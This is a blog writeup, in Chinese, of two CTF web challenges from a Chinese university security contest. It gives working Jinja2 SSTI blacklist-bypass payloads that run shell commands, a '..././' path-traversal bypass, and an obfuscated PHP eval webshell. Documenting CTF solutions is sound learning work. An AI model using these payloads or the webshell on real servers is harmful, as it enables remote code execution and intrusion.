yemaster的小窝

第十八届全国大学生信息安全竞赛初赛Web部分Writeup

2024-12-15
222

safe_proxy

首先访问,直接拿到了源码。

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

这里有ssti。绕过黑名单可以直接用空字符串就行,用 url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec'] 拿到 exec

然后没有回显,发现目录有写的权限,于是把结果写到 static 目录下,然后直接访问就行了

payload:

# 先创建static目录
code:{{url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec']("imp""ort o""s;o""s.mkdir('static')",{"app":url_for['_''_globals_''_']['current_app'],"request":request})}}

# 写入到 static/a.txt
code:{{url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec']("imp""ort o""s;open('./static/a.txt','w').write(o""s.pop""en('cat /flag').read())",{"app":url_for['_''_globals_''_']['current_app'],"request":request})}}

然后访问 /static/a.txt 就能看到 flag。

hello_web

Headers有tips:include.php 但是根本没这个文件!

从这个 include.php 还有网址的 file=hello.php 可以猜测,是文件包含漏洞。

Ctrl+U源码,发现 ,直接用 file= 这两个文件发现没用,显示不在这里。但是注意到 file=hackme.php 和 file=../hackme.php 和 file=../../hackme.php 以及直接访问 hackme.php 都是一样的,怀疑 ../ 被替换掉了,所以双写成 ..././,成功绕过,访问到上一级目录的文件。

http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php 一句话木马

http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././tips.php phpinfo

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm[3].$lapUCm[6].$lapUCm[33].$lapUCm[30];$OxirhK=$lapUCm[33].$lapUCm[10].$lapUCm[24].$lapUCm[10].$lapUCm[24];$YpAUWC=$OxirhK[0].$lapUCm[18].$lapUCm[3].$OxirhK[0].$OxirhK[1].$lapUCm[24];$rVkKjU=$lapUCm[7].$lapUCm[13];$YwzIst.=$lapUCm[22].$lapUCm[36].$lapUCm[29].$lapUCm[26].$lapUCm[30].$lapUCm[32].$lapUCm[35].$lapUCm[26].$lapUCm[30];
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>

hackme.php的内容经过简单的base64混淆,解码得到 <?php @eval($_POST['cmd_66.99']); ?>。但是直接参数设置 cmd_66.99 会被转换成 cmd_66_99 从而失败。利用php字符转换漏洞,用 cmd[66.99 会被转换为 cmd_66.99,再用蚁剑链接。
不过有 disable_functions,蚁剑有专门的插件,直接绕过就行了。

居然不放在根目录下,找了半天,可恶。

Link

分类标签:2024 Web ciscn
Comments

目录